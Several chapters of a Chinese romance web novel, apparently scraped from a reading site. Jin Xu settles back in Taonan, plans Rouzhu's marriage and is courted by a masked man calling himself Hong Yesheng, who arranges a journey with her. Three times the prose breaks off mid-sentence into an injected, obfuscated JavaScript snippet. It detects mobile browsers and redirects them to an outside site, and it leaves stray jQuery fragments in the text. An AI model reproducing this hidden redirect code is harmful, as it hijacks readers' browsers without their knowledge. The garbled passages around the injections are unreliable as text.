金絮十二岁之前一直和母亲住在太南,在京城滞留了九年后才重新回来。太南与她记忆中的模样有了很大不同,九年前战火毁了大半座城,九年的时间还不足以让她完全恢复成原来的样子。 “啊,那里,”金絮指一处只剩平地的街口,“我最爱的芙蓉糕没了。” 丽姬看过去,淡淡道:“芙蓉糕我也爱吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839756|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我给你做,味道不对就做到对为止。” 路过一片水池,金絮探头看,“这片湖......变脏了,可它以前是种荷花的。” 丽姬继续淡淡道:“不就是荷花嘛,再种还会再长的。” 金絮有点沮丧,收回目光看着街道,试图找一个眼熟的人,但没有找到。如今太南居住的人多半是被战乱打散从别郡县迁居而来的,不仅面孔陌生,说的话也带着不熟悉的口音。 走着走着,路过一处大宅,大门紧闭,没挂匾额,门柱破损有污渍,虽然萧条,但能感觉到仍旧恢弘,是她小院子远不能比的。 丽姬看见道:“这是哪个大户人家?看着比温柔馆还大,里面没住人吗?” 金絮道:“可能有吧,前两年来时就见过这宅子,可惜银子不够,要是买得起,当时我就买了。” 两人先去驿站写了封信寄给大厢,告知她们这边一切都好。然后跑了趟城西,购齐文房四宝,再赁匹骡子,买点织物软垫和油盐,慢悠悠地回家。 一路上,金絮几乎不停地被丽姬央着买各种小吃,一边买一边不由自主地观察每条街道中每种铺面的生意情况,脑海里对太南商户们的流动有了点初步印象。 回到家,卸下物事,柔竹翻拣一看,嚷道:“阿絮姐,你怎么买细盐啊?细盐多贵,平常吃粗盐就够了的。” “啊,我没注意。”金絮一看,的确是细盐,“以前买细盐买习惯了,我下次多留神吧。” 柔竹帮着她整理房间,丽姬在一旁啃瓜子。 金絮打量了下柔竹的神色,趁着只有她们三人,试探着开口道:“柔竹,这两年你和徐礼怎么样了?” “嗯?”柔竹偷偷看她一眼,躲开眼神,“呃,什么怎么样?” 金絮直白道:“他有说要娶你吗?” 柔竹的脸腾地红了,双手动作重复地整理衣柜中的被褥。丽姬挑挑眉,继续啃瓜子。 金絮道:“我这次回来不光是打算住在太南,还是因为柔竹你到了许嫁的年纪了。你上半年及笈了吧,我都没来得及给你办笈礼。” 柔竹手里的动作停了,红着脸看金絮,小声道:“阿礼给我办了。” 丽姬又挑挑眉,嘴里瓜子磕得更欢了。 金絮笑问:“他以什么名头给你办的?” 柔竹小心翼翼的看着金絮,更小声道:“没结婚的丈夫......”说完,极害羞似的扑倒金絮床铺上,拿被子捂住脸。 “哈哈哈,我就说你们昨晚吃饭眉来眼去的。这样的话就有个很严重的问题了,”丽姬挤到柔竹身旁,八卦地问:“你俩,同房没?” 柔竹往被里躲得更紧了,金絮坐到另一边,拍拍柔竹,道:“这倒是个好问题,有没有?” 柔竹从被下露出半张通红的脸,摇了摇头。 “哦~”丽姬挤眉弄眼,“孤男寡女,如此自持?” 金絮笑道:“这就好,你还小,同房太早了,会很疼的。” 柔竹慢慢坐起来,红着脸嗔怪地瞪丽姬。 “徐礼倒是对得起他这名字。”金絮道:“我本想着若你俩有意,先定婚,等徐礼及冠了,你也长大了,再安排你俩成婚。” 柔竹低着头没说话。金絮道:“徐礼怎么给你办的笈礼?我也算你们半个长辈了,他给你办笈礼,还以你未婚夫的名义,居然都不告诉我。” 丽姬调笑道:“这下又觉得他对不起他这名字了。” “他当初给我办笈礼时请了附近相熟的邻里作见证。”柔竹甜甜一笑,“我还觉得挺好的。” 见柔竹这副模样,金絮也笑,“那还需不需要我再给你重新办一次更隆重一点的?” “不用啦,怪麻烦的。”柔竹握住她和丽姬的手,“我和阿礼本就没什么亲人,你们知道就好了。” 金絮揉揉柔竹的脑袋,“婚礼一定给你办得好些。” 午间,金絮又去给大厢寄了一次信,分享柔竹和徐礼的事情,回来后,搬了凉椅,和丽姬柔竹一起并椅坐在廊下闲聊。徐礼为了什么事情出门了,三个姑娘便不顾忌地胡天侃地,谈论闺房秘事。 风清云阔,天地缓缓,卸下了温柔馆,金絮感到许多年不曾感受到的轻松,她终于可以过一段悠闲的日子了。 22. 洪叶生(一) 八月即将过去时,城内散了一个消息。行人走动间偶尔窃窃私语。 金絮在茶摊打听了一下,原来是圣上下令严打贪腐之事,京官已经被查了一批,据说裁撤了许多平常百姓都能说出名字的大官,查腐已经查到了京城以外的其他郡县。京官有缺,各郡太守此时都巴望着自己能不能调到京城去。 “但是啊,也就那些个清官可能愿意升,不清不白的官啊都不愿意跑京城去的,京城里眼线太多。” “是啊,在这小地方贪点银子可比在京城要容易得多。” “更何况只要当了官,能贪的就一定不少。只是不知,咱这太南的柳大人会不会迁京。” 茶摊人多口杂,年纪大的人说起话来既刻意压低音量又生怕别人听不见。 金絮若有所思,丽姬指出她所思,“咱温柔馆也是被贪的吧,要是在京城再待几天,说不定银子还能要回来。” 金絮没说话,想起那天天亮时梁风一个劲问她的话,心底并不觉得能把银子要回来是件好事。 反倒是这几天徐礼频频不着家,似乎在各处走动,她有点好奇,便挑了个空闲问了问柔竹。 “阿礼想谋个小官做,最近不是官员流动大了起来嘛,他就想试试能不能托人买个官。” “哦。”金絮面色不改,“徐礼想做官啊。” “是啊。”柔竹笑了笑,“去年祈福塔塌了,还是他出银子重新修筑了一座新的,阿礼他......”柔竹面露得意,“有了一点点名望呢。” “原来如此。”金絮道:“既然这样,那要不我也给他点银子吧,他找件事做也好。” “不用了,阿絮姐,我平时会帮他编卖些竹篮的,阿礼暂时不缺银子。” 金絮笑了一笑,不再说话,至少他们二人已经会过日子了。若徐礼真能买个官,等他仕途稳定,搬出去另立一个家,就可以正式上门提亲了。 她做老鸨的五年里,从未自人牙子手里买过孤儿,只收留过无家可归主动找来卖身的女子,唯有柔竹和丽姬两人是她自己捡回来的,柔竹能有好归宿,她也颇感欣慰。 日子闲适散漫地到了九月中旬。 中秋这天,金絮在院子里午睡,悠悠转醒。银桂的花开始谢了,她身上盖了一床桂花被子。柔竹拿着框在树下拣花瓣,做桂花蜜和桂花糕,丽姬在旁边陪着柔竹一起拣,但丽姬做不来精细的事,于是只能玩花瓣自得其乐。 金絮伸个懒腰,阳光微微刺目。丽姬凑近,在她脸上捻起一片花瓣,笑着问她:“今晚祈福街有个中秋庙会,要不要去玩玩?” 金絮抚掉脸颊残留花粒,道:“好啊。” “我也要去。”柔竹道。 最近一段时间和丽姬柔竹游玩太南,几乎逛遍了新建成的各处花园胡泊、寺庙等景地,丽姬胖了不少,金絮也大概对太南城内银子流通路线有了把握。 祈福街虽名祈福,但街中并无寺庙,反而布满商户,是全城银子流通最大的一条街。有余钱的富商经常会趁庙会大搞噱头,张灯结彩热闹至极,太南的宵禁时辰和京城相同,一年中也只有这为数不多的几天可以取消宵禁,肆意畅玩。 金絮穿梭在华灯溢彩的灯笼下,想起前几年在京城过的中秋庙会,比太南更奢侈盛大,白衣书生们作诗搏名气,几家大青楼争先推出人气最高的女伶,唱那些书生的诗作,每年都能有几个才子走红京都。 每到这类节日,温柔馆常常是青楼中心、达官贵人聚集处,看他们往来唱作、应答奉承,金絮却更希望能以游人的视角玩乐赏灯。 只是玩了这么多天,金絮都有些累了,丽姬兴致仍旧十分高,她倒也不拦着,丽姬看上什么就买什么,只是瞅那逐渐圆润的腰身,心里替丽姬担忧起来。 “你是不是也该节制些?快别吃那么多了,我在温柔馆里真的有饿着你么?” 丽姬一手烧饼一手糖葫芦,“是因为在温柔馆吃胖了客人就不会点我了,你不是说为妓时的习惯要改改吗?我这不就在改?” 金絮被堵得没话讲了,柔竹在一个小摊前问:“丽姬姐这个想吃吗?” 丽姬凑去一瞧,“这是什么?” “太南特产,水晶糕,味道相当不错的。” “买。” 金絮看着手里替丽姬兜着的糖炒栗子、栗米糕和另一种口味的烧饼,无奈叹气。 渐渐走至街心,金絮突然一晃而过被人盯着的感觉,她警惕地望望四周,周围偶尔有几个青年男子往她们这处看,见她转头又立刻把眼神躲开,但这些人不是能让她警惕的眼神,她有点疑惑,等了一会儿没发现异常。 应该是错觉吧,她收回目光,继续陪丽姬吃吃喝喝。 再往前走一段,果然不再出现被人盯着的感觉了,她松口气,仍保持警惕。 丽姬则丝毫不觉,和柔竹在一堆人群的外围垫脚朝人堆里瞧,还挥手让金絮过去,“你来看看这个,算命的。” 算命有什么好看的。金絮无甚聊赖地抬脚走过去,正在这时,余光注意到一对夫妇从她后方越过她向前走,那对夫妇的另一侧擦肩而过一个穿着黑衣、带着白色面具的男人,她愣了愣,扭头看过去,已不见那男人。 她怔在原地,回想那男人的模样,面具遮着半张脸,又是余光一撇,完全没看清。 她眨了眨眼,正欲回身,耳旁响起一道男子的声音: “姑、姑娘......” 她转头看去,是名陌生男子,与她相距一步左右,一身青衣,二十出头,面容俊秀,此刻微微红着脸低头不敢看她。 是刚才在周围打量她的人,金絮拉开一点距离,道:“公子有何事吗?” 那人挠挠头,似乎蛮不好意思地道:“姑、姑娘,呃,不知姑娘是哪户人家?在下是长柳街魏家......” 他眼神闪躲,深吸一口气后提高了音量道:“姑娘常来逛庙会吧,我遇见你好多次了,不知在下能否与姑娘你一起走走?我......” 他还没说完,丽姬咬着烧饼走过来,“在干嘛?”说着,上下打量一眼那男人。 金絮还没说话,那男人却突然满脸通红地落荒而逃,她一阵莫名其妙,丽姬不屑道:“这些个男人,与姑娘说话都不知道怎么说。” 丽姬吃完了糖葫芦,拿过她手里的栗米糕,金絮问:“那算命摊子是算什么的?” “姻缘、钱财、官途、流年,不然还能算什么?” “没什么意思。柔竹呢?” “她帮我买炸豆腐去了。” “别走散了。”金絮找到柔竹,“再买点吃的给徐礼带回去吧。” “已经买好啦。”柔竹晃晃手里的油纸袋,“这都是丽姬姐吃完觉得好吃的。” 金絮一看有五六袋,赶紧止住柔竹欲买炸豆腐的手,“吃得差不多了,咱们去放花灯吧。丽姬你也去消消食。” “这个味道不错,尝尝。”丽姬把咬剩的半个栗米糕塞到金絮嘴里,金絮猝不及防被塞了满嘴,嚼了嚼确实挺香的。 祈福街紧挨着贯城而过的一段长泽,是一众少男少女放灯许愿的好去处,越靠河人流越密集,金絮这还是回太南后第一次放灯,心情不免跟着河面上缓慢浮开的各色花灯一块荡漾起来。 “小娘子买个花灯吧?” 卖花灯的老妇人在摊前招揽生意,金絮走过去看了看,花灯迷人眼,一时竟不知哪个才是最好看的。 “小娘子看看这个,这灯的花纹做得可精细了。”老妇人拿了一个荷花灯递给金絮,花瓣上是鱼纹,鱼的尾巴长长的,确实精细。 她看了看,嘴角一勾,“那就这个了。” 丽姬指着一个灯道:“我要这个。” 丽姬和柔竹拿着灯在一旁写下心愿,金絮想了想,觉得鱼要成对的才好,于是又买了一个别的鱼纹的。老妇摊旁有纸笔可供写愿,金絮在小纸条上写下一个不算难以实现也不算简单的愿望,再写了一个“安居乐业”的愿,便去河边放了,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“估计这几天家里容易闹贼,但应该不会真的丢了什么东西,那些贼人要是觉得这新大人不是个会仔细查案的,才会真的开始偷东西。” 金絮嗑着瓜子认真听着,感觉颇长见识,小偷小摸在京城就很少有了,京城一般出事的话也不会是这种小事。 丽姬贴近她,“哎你说,这曹大人会不会经手过咱温柔馆的银子啊?” “说不准,”金絮搓掉瓜子皮,“我也得防着点贼了。” 那厢几位大爷继续谈论着: “听说这次和曹大人一块儿从京城过来的人里还有位大人物?” “大人物?谁啊?” “不知道。” “真要说,那京城里的哪个不是大人物?” ...... 金絮没兴趣听了,结了账回家,一进门,柔竹一脸兴奋地告诉她,徐礼买到官了。 “买到了?!”金絮诧异道:“前阵子不是还买不到的吗?这突然就买到了?” 柔竹很高兴,不住地点头,“嗯嗯!也许是打通了关系吧,不过,只是个属官啦,平时抄撰点文书什么的,阿礼明日就去赴任了。” “哎哟,不得了,以后得叫徐大人了。”丽姬闲闲道。 等柔竹离开了,金絮才和丽姬说:“我这两年寄给他俩的银子总共不超过十两,柔竹再怎么给徐礼编竹篮换钱他们都不可能有足够的银子可以去买官。你说怎么回事?” 丽姬不放在心上,“可能太南的官便宜点吧,他买的官位也不高不是吗?” “我本想着徐礼尝试几天发现实在买不到就会放弃的。” “你不想徐礼去做官?” “不太想。” “可是他想。” 金絮默然,她从来没想过真的干涉徐礼柔竹的人生,他们有他们自己的路要走,她虽然照顾过他们几年,但不至于真的以长辈自居。 丽姬道:“看开点,徐礼如果能把这官好好做,做干净了,那不是也挺好的吗?” 金絮怔怔地道:“也是。” 23. 洪叶生(二) 这些天除了帮徐礼探听官场小道消息外,金絮还四处找寻《豪侠传》著者支郁笑长生的情况。 她对这位话本名家所知不多,只知道坊间流传的几部著名话本全部出自他笔下。起初他本是匿名的,名气虽大,流传却也不广,是在传到京城后,他才公开表示自己是著者并署名支郁笑长生,希望能凭着名气谋得一官半职。那年他已三十多岁。 可正统文人看不起这些写话本杂言的,因此即便他名气再大仕途仍一路受阻,后来索性隐居深林,奋笔疾书,一连写出的好几册话本都获得了极大的成功,传播甚广。金絮就是在这个时候认识了他。 她打听到支郁一带有座大山。支郁山不是名山,因附近有座支郁村而得名,因笑长生而扬名。笑长生晚年应就住在此山,也葬在此山。 金絮猜测他的家乡应该就是支郁村,不然他的署名不会叫支郁,只是这支郁村到底位于何处她就不知道了。 在城里各大书肆翻阅了许多典籍也没找到具体位置,她甚至还翻过了《山海经》。 徐礼官途渐渐稳定后,金絮便去城内几家驿馆询问些行商和江湖豪杰,终于打听到了点消息——支郁山位于长泽源头,大概在并阳郡辖下。 “姑娘是想去并阳郡?” 驿馆里,小厮模样的人与她搭话。 “是啊。”金絮随口一答,选了处位子坐下点菜,准备用晚饭。 小厮没走,弯腰微微笑着跟她说:“小的听说楼上有位大人也想去并阳郡,不过大人想找个能与他结伴同游的,不知姑娘愿意否?” 金絮抬眸扫了这小厮一眼,“不愿。” 小厮笑容不变,“姑娘最近四处在问寻笑长生的消息吧,那位大人听闻姑娘你后,便欲见上你一见。” 金絮闻言神色不动,握着茶杯的手指轻挲杯缘,想了想道:“那位大人是谁?” “小的不知,只知大人姓洪。” “哪个红?” “洪水的洪。” “哦。”金絮作恍然状,又看向这小厮,“你是这驿馆的小厮?” “是。” 不是的吧,金絮看着这小厮不像是寻常人家的下人。她站起身,“带路吧。” 小厮领她去了三楼雅间,奉茶招呼她坐下稍等一会,走时并未关门。 金絮静静坐着,几息后听见内屋的脚步声,不知是不是她的错觉,那一轻一重的步子似乎略微带着试探。她牢牢盯着屏风后,直到缓慢步出一个男人的身影,浅蓝底白纹袍,走动间俊逸潇洒,气质如松挺拔,脸上带着遮住半张脸的白底金纹面具,嘴唇无笑。 随着他的靠近,面具洞中溜圆漆黑的眼睛瞧住她,金絮怔着了,一时不知反应。 原来这就是大人物。 欲遮未遮的半脸面具简直是拿她当傻子。 金絮不动声色地起身福礼,低头道:“见过洪公子,民女并无结伴同游之意,告辞。” 说罢她转头就走,耳旁传来迅速加快的脚步声,她的手腕就被捉住了。 金絮简直无语,挣脱不开,咬牙道:“公子请自重。” “我很自重。”洪公子拉她到桌边坐下,道:“姑娘还未用午饭吧,不如一起?” 听着他的声音,金絮眼角抽搐,却不懂他为何要戴着面具。 洪公子有模有样道:“在下名叫洪叶生,在家行十九,家中经商,此次出游是为的见识见识大好河山,不负年华。听闻姑娘欲前往并阳郡拜望笑长生,我们正一拍即合,不如一起?” 金絮不答这话,斜着眼睛瞥他,“洪公子是太南人?” “正是。” “家住何处?” “城北。” “哦?城北洪家?没听说过。太南极少有姓洪的。” 他声色不动地端茶饮一口,然后慢悠悠道:“家父是最近半年才搬来太南,姑娘不知也是自然。” 她冷哼一声,严肃地凝视他,“放手。” “好。”洪叶生挥一挥手,有小厮将门关上了,然后放开了她的手腕,“抱歉,冒犯了。” 金絮盯着他,想给他压力,想知道他为什么带着面具,却注意到他袖下的手不知是因为紧张还是害怕在轻微地颤抖,他的眼神除了最开始看了她一眼后就不再看过她。 金絮不觉微微收住眼厉,放缓自己的神情。 小厮上菜,菜式她都挺爱吃的,但她没动。洪叶生也没动。 两人间渐渐弥漫一股紧张又尴尬的气息。 金絮打破沉默,开口道:“我这人,不喜跟不相熟的人一同出游。” “没关系。”洪叶生笑道:“我们可以相熟之后再出游。只不过,支郁笑长生的忌日就在下月十七,如果要去,现在就得做准备了。” 她一愣,“你知道支郁山在哪?” “嗯,知道。”他笑看她点点头。 “哦,这样啊。”金絮淡淡地,故意不做欢喜的反应。 洪叶生微笑道:“让我和你一起吧。” 金絮面无表情,“刚才那小厮怎么知道我最近在问寻笑长生的消息?你让人跟踪我?” 他笑容一僵,金絮冷笑起身,洪叶生下意识伸手来抓她,慌乱之中没抓到,金絮却只是坐到旁边的一个位子,唬了他一下,与他面对面,隔开距离。 “我没有让人跟踪你。”他急急解释。 “中秋灯会那天也没有?” 他一顿,眼神闪烁地移开。金絮冷眼打量,不说话,任由气氛再度对峙。 洪叶生垂眸酝酿许久,才道:“中秋那天我只是想试试能不能碰巧遇见你,我怕我来时你已不在太南。” “为什么戴着面具?” “呃,因为......因为我容貌丑陋。” “有多丑?” “人神共愤。” 金絮呵笑一声,“那不巧,我喜欢和长得好看的人一起。” 他明显语结,“金姑娘不要以貌取人。” “你戴着面具,也并没有给我以貌取你的机会啊。”金絮道:“不如你把面具摘了。” 他略一犹豫,又躲开她的注视,“不摘......我不能泄露身份。” “可你已经告诉我了,你是城北洪叶生。”金絮静静看着他,“还是说你刚才说的身份是假的?你其实是谁?” 洪叶生牢牢盯着她,眼里隐隐有责怪她步步紧逼的意思,却道:“你希望我是谁,我就是谁。” 金絮无所谓一笑,坦然与他对视,渐渐没了耐心,见他不再多言便起身福礼告辞,不顾他的挽留,径直下楼。 楼下人声吵闹,数人聚集拼酒,酒味浓烈。金絮目不斜视朝门外走,忽然听见人群中竟有丽姬喊话声,她往那处看去,竟见丽姬颇豪气地站在桌旁与一众男人们划拳大笑喝酒。 丽姬在旁人怂恿下端起一碗酒,眼睛却朝金絮这边偷偷瞟过来,小心翼翼瞅了一眼后又装作金絮没看见她似的继续喝酒。 金絮怒道:“原来是你!” 丽姬赶忙放下碗,对周遭人歉道:“下回再喝,今天有事先走一步!”说罢就逃向馆外。 金絮立刻追去,四下一看,街中已不见丽姬身影。万万想不到竟是丽姬告诉洪叶生她的行踪,一口怒气不上不下,她抬头看驿馆二楼,恰看见洪叶生从窗口俯身下望,视线碰个正着。 她神色不变,扭头回家。 到家,金絮去丽姬房中取了那把软剑,站在院子里等,等到日落前丽姬回来,她将剑一指,怒气未消,“你出卖我!” “这怎么能说是出卖呢。”丽姬举起双手横向挪动,腆着笑,“我寻思着,你可能也想见他。” “谁想见他了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839758|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”金絮剑尖对着丽姬喉咙道:“在温柔馆的时候,我无时无刻不被人盯着,本以为到了太南就能松快些,你到好,竟敢出卖我。” “我即便不告诉他,他不还是一样能找到你吗?”丽姬手指推开剑尖,讨好道:“他也只是问我你最近在做些什么,其他的没问,我也没说,更没告诉他咱们住在哪里。” 丽姬凑近,“更何况,他找我提前一问,就想看看你态度如何,你看他接近你还要这般小心的模样,生什么气?” 金絮将剑横抵,不让丽姬靠近,“他什么时候来太南的?” 丽姬想了想,道:“不清楚,我是前天遇着他的。” “你遇见他了还不告诉我?” “他不让我说。” “你听他的还是听我的!” 丽姬脖子一缩,金絮怒斥:“我真是白喂你吃了那么多肉!” 丽姬佯装抱头模样跑进屋,边跑边喊:“柔竹啊,你阿絮姐杀人啦!” 金絮叹出怒气,回想起他刚才说自己丑得人神共愤的话,冷笑一声,甩剑进屋。 次日一早,柔竹还未起,金絮外出买早饭,一推门,赫然看见洪叶生就站在门前街边,负着手,金白色面具斜映晨光,晃得她仿佛错眼看见天上月亮。 金絮神色淡漠地隔街与他相望。薄雾静静,光线也不刺眼,心内似乎传来一声沉默又无奈的轻叹,她反手把门关上。 洪叶生见状笑着走来,金絮皱眉抢先问:“在这站了多久?” “半个时辰。”他手中展开一物,“你看这个。” 金絮一瞧,竟是幅地图,诧异道:“你怎么得来的?” 洪叶生只笑不语,金絮打量他,又问:“你自己画的?”他点点头,笑道:“你看,这是支郁山,我们从太南骑马只需一月就能抵达。” “这么久?” “嗯,我们同行,脚程不会很快。” 金絮心里撇撇嘴,洪叶生心情似乎很愉快,牵住她衣袖,笑道:“还未用早膳吧,吉祥酒楼的早点听说不错。” 金絮跟着他去到太南最大的酒楼,点了两碗鱼粥,一碗不加葱姜和几份包子点心。等饭上来时金絮默默看地图,地图上不是中原全貌,只画出长泽整条流域以及附近的郡县村落和湖泊山脉,还有京城等大城镇的方位,太南和支郁山之间用粗线相连,图面旁边空白处还注明了沿路哪处位置易遇山匪和哪处需走水路,算是十分详尽了。 字迹也是他的字迹,这地图确是他的手绘。 “我们何时出发?”他问。 金絮尚未从地图中抽出思绪,乍听见这声音,下意识想唤他名字,抬头看见他脸上的面具,称呼堪堪停在嘴边,心念一转,道:“我没有去过这么远的地方,不知道是骑马好,还是坐马车好。” “骑马吧,沿路多山,马车太麻烦了些。”洪叶生笑看她道:“路上事宜我来准备,你尽管放开身心游玩。” 金絮略微思索一番,“我们可以一起去,路上听我的还是听你的?” “听我们两个人的。”他殷殷道。 金絮看他一眼,还算可行。 早饭后,洪叶生打着要与她相熟的名义,带她去城内河的一艘画舫上游赏,画舫绕城半圈,只有他们两人。金絮靠在窗边感受微风拂面,洪叶生站她身旁,所见与他相同。 “你为什么来太南?” “找你。” “京城那边的事呢?” “圣上让我暂时不用理会。” “我还以为你是被贬来的呢。” 他神色一顿,袖下的手轻握住她手腕,“可能......也算是吧。” 金絮赏着河岸景色,沿河色调淡然悠闲,行人不匆,异于京城的繁华忙碌。 “我希望你是洪叶生。” 他缓缓答:“那我就是。” 24. 天地阔阔 金絮回到家时,丽姬不胜唏嘘地看着她。 “你看看,我还纳闷你为啥一直待在太南不走,昨天还跟我生气呢,今天就一早说是出去买早饭,结果到傍晚才回来,哼哼。” 金絮不想搭理,径直回房,丽姬自语道:“你跟他走也好,没人管我了。” 柔竹一旁搭腔:“丽姬姐,你打算去哪儿玩啊?带上我呗,我也想出去看看。” “你?你不管你阿礼哥哥了?” 柔竹小脸一红,“丽姬姐!” 金絮站定,不转身,故作高深地说给丽姬听:“我自有我的思量。” 说罢回屋,取下书架上的纸稿,在书桌前翻看分类。直到柔竹唤她吃饭。 饭后洗完澡继续看,不知不觉,晨光代替烛火,她一抬头发现天竟亮了。 简单洗漱一番准备睡觉,忽听门外响起脚步声,她推门出去,只见丽姬收拾好一身行囊正要离去,她赶忙叫住:“你去哪儿?” 丽姬回头看着她,微微皱眉道:“你这是醒得早还是一夜没睡?” 金絮迷迷瞪瞪揉揉脸,丽姬道:“我本来就是怕你想不开才决定在太南陪你住一段时间的,你现在不需要我陪了,那我肯定也没必要再打扰柔竹那两口子啊。” 金絮想了一想也是,道:“你是打算去找那个什么武林盟主么?” “武林盟主没意思,武林大会才有意思。”丽姬潇洒一摆手,“走了。” 金絮门口相送,注视着丽姬身影消失在街道尽头,恍惚间将眼前这一幕与那天送雪姬出门时的景象重叠,但不同的是,这次她知道丽姬会回来,也知道去的是哪里。 金絮打个哈欠,回屋睡觉,她感觉自己睡得并不沉,梦中浮浮沉沉间柔竹似乎来喊过她,她翻个身没理。如果不是被饿醒还能继续睡,醒来时发现已睡了四个时辰。 柔竹敲门进来,“阿絮姐,你可算醒了,客人在堂屋等你一个时辰了。” “谁?”金絮几口温水下肚,柔竹道:“不知道,戴着个面具,只说是认识你,我就让他在堂屋稍候了。” “哦,我知道了。” 金絮洗漱一番去到堂屋,果见洪叶生端坐在椅子上,手边一盏粗茶没动过,神色自若。她下意识赶忙上前招待,歉道:“洪公子久等了,招待不周,不知公子来找我有何事?” 他转眼打量她,皱起眉头,“你昨夜什么时辰睡的?” 金絮见他有些不满,讪讪一笑,“不早。” 洪叶生语气无奈,“走吧,我带你用饭去。” “你带我?” 他牵住她手腕,“用饭后,你我一同去选匹马。” 柔竹留下看家,金絮一路打着哈欠被他带到吉祥酒楼,雅间甫一落座便立即有小二将已准备好的菜式端上,林林总总摆了满桌。 “下次不用准备这么多。”金絮边说边抓起筷子开吃,洪叶生斯斯文文地喝一碗鱼粥。 饱足后,洪叶生带她去到他的府外马厩,让她挑选一匹马,说是旅途路上用来驮行李。 他的马与太南本地马相距甚大,毛色、体格都更优质些。金絮对马匹懂得不多,便先让他选出耐力强、品相不扎眼的几匹,再由她挑个顺眼的。 最终确定为一匹枣红色的骏马,名为木果。 木果的背部比她下巴还高,膘光皮滑,略肥。金絮想想自己已多年不曾骑过马,此时听着木果踢踏四蹄的啪嗒声,心中不免燃起期待,想赶快骑上它去平原尽情奔跑。 她一时按捺不住兴奋,向洪叶生道:“我们什么时候出发?” “着急了?”洪叶生看着她笑道:“但还要等一日,尚需准备些物事。” “准备什么?” “在野外露宿之物。” “噢。”金絮眨眨眼,抚摸木果的鬃毛,过一会儿又转头问他:“准备什么?” 他微笑道:“你不用操心,我来准备,你现在只需想想我们是备一匹马还是两匹?” 金絮原本是打算步行去支郁山,沿途可欣赏人情风物、山光水色,但毕竟太远,距离笑长生的忌日也只剩一个月了,骑马会更快些,路上走累了还能坐马上休息,她便道:“两匹吧。” 洪叶生便去牵了他的坐骑,一匹黑马。饶是不甚懂马的金絮都能一眼看出这马的不同寻常,品相十分优越,在马群里脱颖而出。 不同于木果,这匹黑马太过高大,背部跟洪叶生差不多高,马腿比她的大腿还粗,鬃毛像瀑布一样,整匹马看上去气势凌人,压迫十足。 金絮绕马走几圈,意外发觉它乖得很,忍不住上手摸了摸,“它叫什么?” “荆风。” 金絮心中默念一遍,确认自己没有听错,便问:“哪个惊?哪个疯?” 洪叶生笑出了声,“荆轲的荆,凉风的风。” 金絮闻言冷下脸,扭头不看他,“不好笑。” “它的确叫荆风,它长大了。”洪叶生仍旧笑,抬手抚它的鬃毛。 金絮微愣,再看荆风,登时认出是几年前见过的那匹小黑马,不免惊叹:“是它?” “是。” 金絮笑了笑,荆风漆黑的眼珠仿佛也认得她似的,表现出极为乖顺的样子。 洪叶生道:“走吧,今天想去哪里玩儿?” “又要带我去玩。” “不喜欢吗?” “明明是你自己想玩,却非要拉上我陪你。” “那就当作是陪我吧。”他看着她眼睛道:“你来太南这两个月还有许多地方没去过。” “你还说你没跟踪我。” 他一笑,“确实没有。” “哼。” ...... 洪叶生赶在街鼓响起前送她回到家,金絮一回去就见柔竹站在廊下叉着腰怒气冲冲。 “阿絮姐,你不要学丽姬姐那样出远门连个招呼都不打。” “嗯,我不学。”金絮笑应:“明天我就出门,什么时候回来不一定,你和徐礼在家好好的,如果大厢她们有信寄来的话,记得及时回。” 柔竹还没反应过来,金絮递去一袋荷包,“一点银子,给你们用的。” “你去哪里?” “看山看水看日月,想去哪里去哪里。” “你们出门总不带上我。”柔竹略略不满。 “让你阿礼哥哥带你去。” 柔竹轻哼,“他最近都快忙死了。” 金絮回房,拿出《山河志》和洪叶生给她的地图,将《山河志》中她一直想去的地方在地图上大致笔划出来,虽然这趟旅途有个洪叶生跟着,但心中仍对游山玩水的日子终于来临而暗喜。 不同于刚卸下温柔馆时的轻松与脱力,她此刻才对往后的日子感到真正的欢快与期待。 翌日一早,金絮打开大门,街边洪叶生牵着两匹马望着她微笑。金絮走近看他究竟准备了何物。 除了干粮和水,两匹马挂了两卷薄毯,一把长刀,一把匕首,两身厚衣物,两双鞋,几卷纸笔,几支火折子,一卷细绳,一口小石锅,两副碗筷,几瓶跌打药膏,若干信号弹,还有一只鼓鼓的布袋里她不知道装着什么。所有随行之物都用油浸过的皮袋裹了一层,可防水,不算多,挂在马尾,马背仍能骑人。 “准备 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城外不远进入一片竹林。之前进城时她就想瞧瞧这竹林中是番什么景象,此刻一看,方觉清幽雅静,真是个隐居避世的好地方。每日听风穿打竹林,也有几分写意在里面。 她在前头走,洪叶生牵两马在后面跟着。他不时跳起来,摘一片竹叶,试着吹了吹,吹不响的便扔掉换一片,吹响的也并不好听。金絮学着他的模样,试着吹了吹,吹不响便弃了。 渐渐走出竹林,跟着是一座大山。 洪叶生目测道:“近午了,这山今日应是翻不过去了,待会在山上要找一找有没有过夜的山洞。” 金絮应一声,欢快地开始爬山,洪叶生仍旧悠哉悠哉跟在后面。 